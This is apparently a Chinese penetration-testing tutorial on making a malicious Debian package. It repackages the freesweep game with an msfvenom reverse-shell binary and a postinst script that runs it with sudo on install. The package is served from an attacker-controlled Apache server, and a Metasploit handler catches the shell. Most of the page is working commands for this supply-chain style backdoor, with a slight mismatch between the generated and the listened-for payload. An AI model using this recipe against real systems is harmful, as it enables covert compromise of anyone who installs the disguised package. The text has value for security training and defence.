2022-渗透测试-制作恶意deb软件包来触发后门

简介: 2022-渗透测试-制作恶意deb软件包来触发后门

目录

1.下载软件包

2.解压软件包

小知识1:kali更新或安装包的目录

小知识2:kali解压或安装操作

3.生成恶意代码到软件包源文件中

4.创建软件包信息目录

5.重新生成一个软件包

6 将deb提供下载

7 启动msfconsole

8.配置监听

10 目标机下载并安装带木马的deb软件

11.目标机安装软件

12 监控端获取到session

1.下载软件包

kali安装软件包

apt install 软件名称

image.gif

kali下载软件包

apt --download-only install 软件名称

image.gif

如图,下载软件包

apt --download-only install freesweep

image.gif

image.gif编辑

2.解压软件包

小知识1:kali更新或安装包的目录

kali系统更新或安装的包目录:/var/cache/apt/archives/

image.gif编辑

我们去查找刚刚下载的包,使用ls | grep free

image.gif编辑

将这个包移动到跟目录下,便于后面的操作 mv ./freesweep_1.0.2-1_amd64.deb ~/

image.gif编辑

image.gif编辑

小知识2:kali解压或安装操作

安装:dpkg -i

解压:dpkg -x

我们将软件包解压

dpkg -x freesweep_1.0.2-1_amd64.deb free

image.gif

image.gif编辑

切换到free目录,查看文件列表

image.gif编辑

3.生成恶意代码到软件包源文件中

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp
LHOST=192.168.0.109 LPORT=4444 -b "\x00" -i 10 -f elf -o
/root/free/usr/games/freesweep_sources

image.gif

扩展:生成软件包时无论是payload的和软件包信息都需要选择能够在目标操作系统上执行的。

4.创建软件包信息目录

创建软件包目录

mkdir free/DEBIAN

切换目录

cd free/DEBIAN

编辑

vim  /root/free/DEBIAN/control

Package:freesweep
Version:1.0.1-1
Section:Games and Amusement
Priority:optional
Architecture:amd64
Maintainer:Ubuntu MOTU Developers(ubuntu-motu@lists.ubuntu.com)
Description:a text-based minesweeper Freesweep is an implementation of the
popular minesweeper game,where one tries to find all the mines without igniting
any,based on hints given by the computer.Unlike most implementations of this
game,Freesweep works in any visual text display - in Linux console,in an
xterm,and in most text-based terminals currently in use.

image.gif

image.gif编辑

创建deb软件包,安装后脚本文件,来加载后门

tee /root/free/DEBIAN/postinst << 'EOF'
#!/bin/bash
sudo chmod 755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
EOF

image.gif

image.gif编辑

给postinst加执行权限

chmod 755 /root/free/DEBIAN/postinst

image.gif

image.gif编辑

5.重新生成一个软件包

dpkg-deb --build /root/free/

image.gif

6 将deb提供下载

systemctl start apache2
systemctl status apache2

image.gif

将free.deb复制到apache2 根目录

cp free.deb /var/www/html/

image.gif

7 启动msfconsole

8.配置监听

msf5 \> use exploit/multi/handler

image.gif

加载payload

msf5 exploit(multi/handler) \> set payload linux/x64/meterpreter/reverse_tcp

image.gif

设置监听主机

msf5 exploit(multi/handler) \> set lhost 192.168.31.53

image.gif

查看需要配置的参数

msf5 exploit(multi/handler) \> show options

image.gif

run

10 目标机下载并安装带木马的deb软件

wget http://192.168.0.109/free.deb

image.gif

11.目标机安装软件

dpkg -i free.deb

image.gif

12 监控端获取到session

相关文章
|
测试技术
为什么Spartacus单元测试里对http返回的Observable对象调用subscribe时,会触发依赖注入的框架代码
为什么Spartacus单元测试里对http返回的Observable对象调用subscribe时,会触发依赖注入的框架代码
为什么Spartacus单元测试里对http返回的Observable对象调用subscribe时,会触发依赖注入的框架代码
|
测试技术
在Angular单元测试代码的it方法里连续调用两次detectChange方法,会触发两次ngAfterViewInit吗
在Angular单元测试代码的it方法里连续调用两次detectChange方法,会触发两次ngAfterViewInit吗
140 0
在Angular单元测试代码的it方法里连续调用两次detectChange方法,会触发两次ngAfterViewInit吗
|
21天前
|
测试技术 C语言
网站压力测试工具Siege图文详解
网站压力测试工具Siege图文详解
27 0
|
2月前
|
测试技术
现代软件测试中的自动化工具与挑战
传统软件测试面临着越来越复杂的系统架构和不断增长的测试需求,自动化测试工具应运而生。本文将探讨现代软件测试中自动化工具的应用和挑战,深入分析其优势与局限性,为软件测试领域的发展提供思路和启示。
|
2月前
|
测试技术 持续交付
现代软件测试中的自动化工具应用与挑战
随着信息技术的快速发展,软件行业对于质量和效率的要求日益提高,自动化测试工具在软件开发过程中扮演着至关重要的角色。本文将探讨现代软件测试中自动化工具的应用现状以及所面临的挑战,旨在帮助开发人员更好地理解并充分利用这一技术手段。
|
3天前
|
机器学习/深度学习 数据采集 人工智能
【专栏】利用AI辅助工具提高软件测试效率与准确性
【4月更文挑战第27天】本文探讨了AI在软件测试中的应用,如自动执行测试用例、识别缺陷和优化测试设计。AI辅助工具利用机器学习、自然语言处理和图像识别提高效率,但面临数据质量、模型解释性、维护更新及安全性挑战。未来,AI将更注重用户体验,提升透明度,并在保护隐私的同时,通过联邦学习等技术共享知识。AI在软件测试领域的前景广阔,但需解决现有挑战。
|
2月前
|
jenkins 测试技术 持续交付
现代软件测试中的自动化工具与挑战
随着软件开发领域的不断发展,自动化测试工具在测试过程中扮演着越来越重要的角色。本文将探讨现代软件测试中自动化工具的应用及面临的挑战,旨在帮助开发人员和测试人员更好地理解和应对自动化测试中的问题。

热门文章

最新文章